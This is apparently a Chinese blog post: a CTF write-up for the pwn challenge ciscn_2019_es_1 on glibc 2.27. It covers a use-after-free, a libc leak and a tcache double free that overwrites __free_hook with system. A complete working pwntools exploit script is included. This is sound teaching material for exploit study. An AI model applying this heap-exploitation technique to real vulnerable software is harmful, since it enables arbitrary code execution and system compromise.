初遇tcache-double_free

D0wnBe@t Lv4

ciscn_2019_es_1

题目链接

要点:

  • 虽然说tcache的double free漏洞在glibc2.30之后才完备,但是glibc2.27中也有版本具备该检测
  • 我最开始用的2.27-3ubuntu1.5_amd64就是不可以的,但是此题目是没有该检查的,本地测试可以用2.27-3ubuntu1_amd64

ida速览

  • 经典的堆菜单,但是glibc2.27具有tcache
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+24h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("I hate 2.29 , can you understand me?");
puts("maybe you know the new libc");
while ( 1 )
{
while ( 1 )
{
menu(); // 菜单
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
call(); // free
}
else
{
if ( v3 == 4 )
{
puts("Jack Ma doesn't like you~");
exit(0);
}
LABEL_13:
puts("Wrong");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

add

1
2
3
4
5
// 类似形成一个结构体
struct Chunk{
Chunk* chunk;
int size;
}

show

call(free)

  • 很明显的uaf漏洞

简单分析

  • 漏洞点很明显,有uaf漏洞,free掉的指针没有清零
  • 先malloc(0x410) 绕过tcache进入unsorted bin,然后直接show就可以泄露libc,也可以malloc(0x80),然后free8次,再show也是可以的,是因为此题目没有double free检查
  • 然后double free改free_hook为system,就差不多了,跟之前一样的步骤

gdb动调

绕过tcache+泄露libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x410,b'aaaa',b'0')# 绕过tcache进入unsortedbin
add(0x20,b'bbbb',b'1')
add(0x20,b'/bin/sh\x00',b'2')

# 简单的泄漏libc
free(0)
#bug()
show(0)
p.recvuntil("name:\n")
malloc_hook = u64(p.recv(6)+b'\x00\x00')-96-0x10
success("malloc_hook : " + hex(malloc_hook))

libc = LibcSearcher('__malloc_hook',malloc_hook)
base = malloc_hook - libc.dump('__malloc_hook')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')
  • 先malloc(0x410)(>0x408)绕过tcache,后面两个malloc是为了修改free_hook和最后的getshell
  • free(chunk0)之后,如下,此时fd和bk指向的是main_arena+96,而不是88了

  • 由于此时的指针没有清零,可以直接show,泄露libc

double free+getshell

1
2
3
4
5
6
7
8
9
10
11
12
# glibc2.30才有的double free的检查
free(1)
free(1)

# 此时 tcache bin 中 1 -> 1
add(0x20,p64(free_hook),b'1')
add(0x20,b'bbbb',b'1')
add(0x20,p64(system),b'4')

free(2)
p.interactive()

  • double free之后:

  • 第一次add:

修改了tcache bin中chunk的fd指针,指向__free_hook,只需要两次malloc就可以malloc到free_hook,进行修改

  • 第二次add(无用的chunk):

  • 第三次add:

可以看到__free_hook指向了system,调用free->free_hook->system

  • 最后直接free(2)即可,相当于system(“/bin/sh”)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",26786)
elf = ELF("./pwn")
free_got = elf.got['free']

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("choice:",str(idx))

'''
struct Chunk{
Chunk* chunk;
int size;
}
'''

def add(size,name,call):
choice(1)
p.sendlineafter("Please input the size of compary's name\n",str(size))
p.sendlineafter("please input name:\n",name)
p.sendlineafter("please input compary call:\n",call)

def show(idx):
choice(2)
p.sendlineafter("Please input the index:",str(idx))

def free(idx):
choice(3)
p.sendlineafter("Please input the index:",str(idx))

add(0x410,b'aaaa',b'0')# 绕过tcache进入unsortedbin
add(0x20,b'bbbb',b'1')
add(0x20,b'/bin/sh\x00',b'2')

# 简单的泄漏libc
free(0)
bug()
show(0)
p.recvuntil("name:\n")
malloc_hook = u64(p.recv(6)+b'\x00\x00')-96-0x10
success("malloc_hook : " + hex(malloc_hook))

libc = LibcSearcher('__malloc_hook',malloc_hook)
base = malloc_hook - libc.dump('__malloc_hook')
system = base + libc.dump('system')
free_hook = base + libc.dump('__free_hook')

# glibc2.30才有的double free的检查
free(1)
free(1)

# 此时 tcache bin 中 1 -> 1
add(0x20,p64(free_hook),b'1')
add(0x20,b'bbbb',b'1')
add(0x20,p64(system),b'4')

free(2)
p.interactive()

  • 标题: 初遇tcache-double_free
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-22 20:06:12
  • 更新于 : 2024-09-22 21:26:39
  • 链接: http://downbeat.top/2024/09/22/初遇tcache-double-free/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论